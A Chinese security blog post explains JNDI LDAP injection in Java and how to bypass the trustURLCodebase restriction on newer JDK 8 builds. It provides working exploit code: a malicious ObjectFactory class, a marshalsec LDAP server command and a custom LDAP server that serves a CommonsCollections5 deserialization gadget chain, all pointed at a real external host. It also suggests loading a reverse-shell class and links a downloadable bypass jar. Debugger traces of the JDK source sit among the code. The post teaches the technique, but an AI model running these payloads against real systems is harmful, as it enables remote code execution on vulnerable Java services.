JNDI注入和JNDI注入Bypass
之前分析了fastjson,jackson,都依赖于JDNI注入,即LDAP/RMI等伪协议
JNDI RMI基础和fastjson低版本的分析:https://www.cnblogs.com/piaomiaohongchen/p/14780351.html
今天围绕JNDI LDAP注入,RMI先不搞了.
一图胜千言:
图片是偷的threezh1的:
看这个图,就感觉很清晰.
测试ldap攻击:jdk版本选择:jdk8u73 ,测试环境Mac OS
jdk8系列各个版本下载大全:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
恶意类:Exploit.java:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable; public class Exploit implements ObjectFactory, Serializable {
public Exploit(){
try{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}catch (IOException e){
e.printStackTrace();
} } public static void main(String[] args){
Exploit exploit = new Exploit();
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
编译成class文件即可.
使用marshalsec构建ldap服务,服务端监听:
/root/jdk-14.0.2/bin/java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://119.45.227.86/#Exploit 6666
客户端发起ldap请求:
客户端代码:
import javax.naming.InitialContext;
import javax.naming.NamingException; public class JNDIClient {
public static void main(String[] args) throws NamingException {
new InitialContext().lookup("ldap://119.45.227.86:6666/a");
}
}
坑:可能客户端都是jdk8u73,但是发现不能ldap命令执行,八成是vps的原因,对Exploit.java文件编译,要使用较低版本的jdk,我这里编译Exploit.java文件,使用的jdk版本是:
如果你是用jdk>8的版本编译,然后运行ldap服务,是不能执行命令成功的,因为客户端是1.8*版本,请求的class是>1.8的,是不可以的,jdk是向下兼容的,所以建议恶意类文件编译采用jdk<=1.8版本,为了稳定期间选择我这里jdk1.6.
jndi ldap执行命令原理分析刨析:
debug:
跟进去,深入跟踪函数一直到这里:
getObjectFactoryFromReference:
文件地址:/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/lib/rt.jar!/javax/naming/spi/NamingManager.class:
可通过反射加载进去单独设置debug:
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null; // Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up. // Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
} return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
先看注释:
继续debug:
如果是本地的class文件加载:
就直接loadClass加载本地class文件即可.
但是我们这里是客户端远程加载ldap地址:
走这个逻辑:
发现多了个codebase:
跟进loadClass:
查看debug视图页面:
codebase是我们的ldap的地址:
最后返回:
触发命令执行:
通过上面debug知道codebase是个url地址,那么什么是codebase呢?
简单说,codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。 你要弄清楚哪个设置codebase,而哪个使用codebase。任何程序假如发送一个对方可能没有的新类对象时就要设置codebase(例如jdk的类对象,就不用设置codebase)。 codebase实际上是一个url表,在该url下有接受方需要下载的类文件。假如你不设置codebase,那么你就不能把一个对象传递给本地没有该对象类文件的程序。
可以这么说jndi ldap远程加载本质上就是:codebase+classname
提高jdk版本为:jdk8u191:
再次客户端发起ldap请求:
会发现,有ldap请求,但是没有命令执行成功:
开启debug进去看看:
回到老地方:
getObjectFactoryFromReference:
文件地址:/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/lib/rt.jar!/javax/naming/spi/NamingManager.class:
跟进loadClass:
多了一个判断:
贴代码:
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl);
} else {
return null;
}
}
直接走了else,不能在反射实例化了..
gg了,默认情况下,trustURLCodebase=false,如果还想jdni ldap命令执行成功,就要想办法让trustURLCodebase=true:
网上已经给了解决方案来看看:
来试一把:
依赖环境:
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
LdapServer.java:
package com.test.fastjson.jndi; import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map; public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://119.45.227.86/#Exploit"};
int port = 7777; InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) {
this.codebase = cb;
} @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
} protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
} e.addAttribute("javaSerializedData",CommonsCollections5()); result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
} private static byte[] CommonsCollections5() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
}; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close(); return byteArrayOutputStream.toByteArray();
}
}
运行LdapServer.java,启动服务端:
客户端调用ldap:
import javax.naming.InitialContext;
import javax.naming.NamingException; public class JNDIClient {
public static void main(String[] args) throws NamingException {
new InitialContext().lookup("ldap://127.0.0.1:7777/a");
}
}
成功执行命令,bypass trustURLCodebase=false的修复方案,debug下,看看是怎么导致命令执行的:
debug跟进函数,看比较重要的文件:
/Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/ldap/LdapCtx.class
摘出代码:
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
var3 = Obj.decodeObject((Attributes)var4);
}
发现会判断获取到数组的第二个位置的值,是否为空,不为空就走Obj.decodeObject:
跟进decodeObject:
查看JAVA_ATTRIBUTES:
把元素都存储在了数组中,可以把他们理解成这是key,get(*),获取的是值,就是value:
把debug重要部分代码贴出来:
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4])); try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
获取数组第四个元素就是java codebase即ldap地址:
继续往下:
debug发现value是:
JAVA_ATTRIBUTES[1]=javaserializeddata -> {LdapAttribute@893} "javaSerializedData: [B@66d2e7d9"
var2=java codebase,classloader加载的是codebase:
跟进去:
重中之重:/Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/ldap/VersionHelper12.class
文件位置:
ClassLoader getURLClassLoader(String[] var1) throws MalformedURLException {
ClassLoader var2 = this.getContextClassLoader();
return (ClassLoader)(var1 != null && "true".equalsIgnoreCase(trustURLCodebase) ? URLClassLoader.newInstance(getUrlArray(var1), var2) : var2);
}
如果var1不为空,设置trustURLCodebase=true!!!
这样他又可以classloader加载了!
下一步走到这里,反序列化codebase:
跟进desrializeObject方法,调用readObject,触发rce:
为了走我们debug的流程触发rce,所以exp里面需要给属性设置内容
设置的值是反射加载调用实例化:
改造exp:让我们更方便的进行jdk高版本下的jdk利用:
演示效果,实现自定义恶意类定义+自定义ldap端口:
vps上监听:
java -jar Java_Test.jar http://119.45.227.86/#Exploit 1234
客户端发起远程ladp请求:
import javax.naming.InitialContext;
import javax.naming.NamingException; public class JNDIClient {
public static void main(String[] args) throws NamingException {
new InitialContext().lookup("ldap://119.45.227.86:1234/a");
}
}
如果想反弹shell,在自己vps上写个反弹shell的恶意类,编译后,远程加载,即可反弹shell
bypass jar包下载地址:http://119.45.227.86/hello.zip
关于jndi jdk高版本bypass其他方法,等我有时间,再来补全!累了!
jdni注入学习参考:https://threezh1.com/2021/01/02/JAVA_JNDI_Learn/#RMI%E4%B8%8ELDAP
JNDI注入和JNDI注入Bypass的更多相关文章
- Spring IOC三种注入方式(接口注入、setter注入、构造器注入)(摘抄)
IOC ,全称 (Inverse Of Control) ,中文意思为:控制反转, Spring 框架的核心基于控制反转原理. 什么是控制反转?控制反转是一种将组件依赖关系的创建和管理置于程序外部的技 ...
- 轻松学,浅析依赖倒置(DIP)、控制反转(IOC)和依赖注入(DI) 依赖注入和控制反转的理解,写的太好了。
轻松学,浅析依赖倒置(DIP).控制反转(IOC)和依赖注入(DI) 2017年07月13日 22:04:39 frank909 阅读数:14269更多 所属专栏: Java 反射基础知识与实战 ...
- Spring 设值注入 构造注入 p命名空间注入
注入Bean属性---构造注入配置方案 在Spring配置文件中通过<constructor-arg>元素为构造方法传参 注意: 1.一个<constructor-arg>元素 ...
- XPath注入跟SQL注入差不多,只不过这里的数据库走的xml格式
SQL注入这块不想细聊了,相信很多朋友都听到耳朵长茧,不外乎是提交含有SQL操作语句的信息给后端,后端如果没有做好过滤就执行该语句,攻击者自然可以随意操纵该站点的数据库. 比如有一个图书馆站点book ...
- IOC 构造函数注入vs属性注入
1.不管是构造函数注入还是属性注入,都要先把对象给new 出来,构造函数应该也是public.2.一般使用 配置文件,属性注入,不用使用特性,直接配置,初始化或依赖,凡是注入的,都要有访问权限,pub ...
- Stacked injection--堆叠注入--堆查询注入
Stacked injection--堆叠注入--堆查询注入 原文地址;http://www.sqlinjection.net/stacked-queries/ 本篇属于集合原作者的思路和个人想法 ...
- 注入攻击-SQL注入和代码注入
注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...
- Spring构造器注入、set注入和注解注入
记得刚开始学spring的时候,老师就反复的提到依赖注入和切面,平常的java开发中,在某个类中需要依赖其它类的方法,则通常是new一个依赖类再调用类实例的方法,这种方法耦合度太高并且不容易测试,sp ...
- Spring注入值得2种方式:属性注入和构造注入
Spring是一个依赖注入(控制反转)的框架,那么依赖注入(标控制反转)表现在那些地方了? 即:一个类中的属性(其他对象)不再需要手动new或者通过工厂方法进行创建,而是Spring容器在属性被使用的 ...
- Spring接口编程_设值注入和构造注入
说明: UserManagerImp是设值注入,UserManagerImp2是构造注入 接口不注入,也就是在Spring配置文件中没有接口的<bean>,但是定义的时候是用接口 priv ...
随机推荐
- 【Java注解】@PostConstruct 注解相关
不多逼逼,直接看注解上面的文档, @PostConsturct PostConstruct注释用于需要执行的方法在依赖注入完成后执行任何初始化.这个方法必须在类投入服务之前调用. 这个所有支持依赖关系 ...
- hdu4876 深搜+(随机枚举剪枝)
题意: 给你n个数,让你从选择k个数,然后排成一个环(k个数的顺序随意,但是排成一个环后就不能变了),然后可以在这个环上任意的找连续w个数(w<=k),可以找多次,得到一个值等于当前 ...
- Word/Excel文档伪装病毒-kspoold.exe分析
一. 病毒样本基本信息 样本名称:kspoold.exe 样本大小: 285184 字节 样本MD5:CF36D2C3023138FE694FFE4666B4B1B2 病毒名称:Win32/Troja ...
- CVE-2014-3153分析和利用
本文是结合参考资料对CVE-2014-3153的分析,当然各位看官可以看最后的资料,他们写的比我好. 在看CVE-2014-3153之前我们用参考资料4中例子来熟悉下这类漏洞是如何产生的: /** * ...
- 文件描述符fd
java 后台运行程序命令 nohup java -jar babyshark-0.0.1-SNAPSHOT.jar > log.file 2>&1 & 命令解释:后台启动 ...
- 【实用小技巧】Access denied for user 'root'@'localhost' 报错解决
到mysql安装目录修改my.ini文件,在文件末尾追加一句 skip-grant-tables 然后重启mysql服务即可
- pysmiles:一个用于读写SMILES表达式的python库
技术背景 SMILES表达式是化学里面常用的用于标定元素之间关系的字符串,旨在用最简短的语句来完整的表达一个分子体系内所蕴含的基本信息,比如元素.连接性以及连接属性等.由于SMILES表达式的定义种类 ...
- .NET之生成数据库全流程
开篇语 本文主要是回顾下从项目创建到生成数据到数据库(代码优先)的全部过程.采用EFCore作为ORM框架. 本次示例环境:vs2019.net5.mysql 创建项目 本次事例代码是用过vs2019 ...
- 操作系统中的进程同步与Window中利用内核对象进行线程同步的关系
操作系统中为了解决进程间同步问题提出了用信号量机制,信号量可分为四种类型分别是互斥型信号量,记录型信号量,AND型信号量,信号量集. 互斥型信号量 互斥型信号量是资源数量为1的特殊的记录型信号量.表示 ...
- NumPy之:ndarray多维数组操作
NumPy之:ndarray多维数组操作 目录 简介 创建ndarray ndarray的属性 ndarray中元素的类型转换 ndarray的数学运算 index和切片 基本使用 index wit ...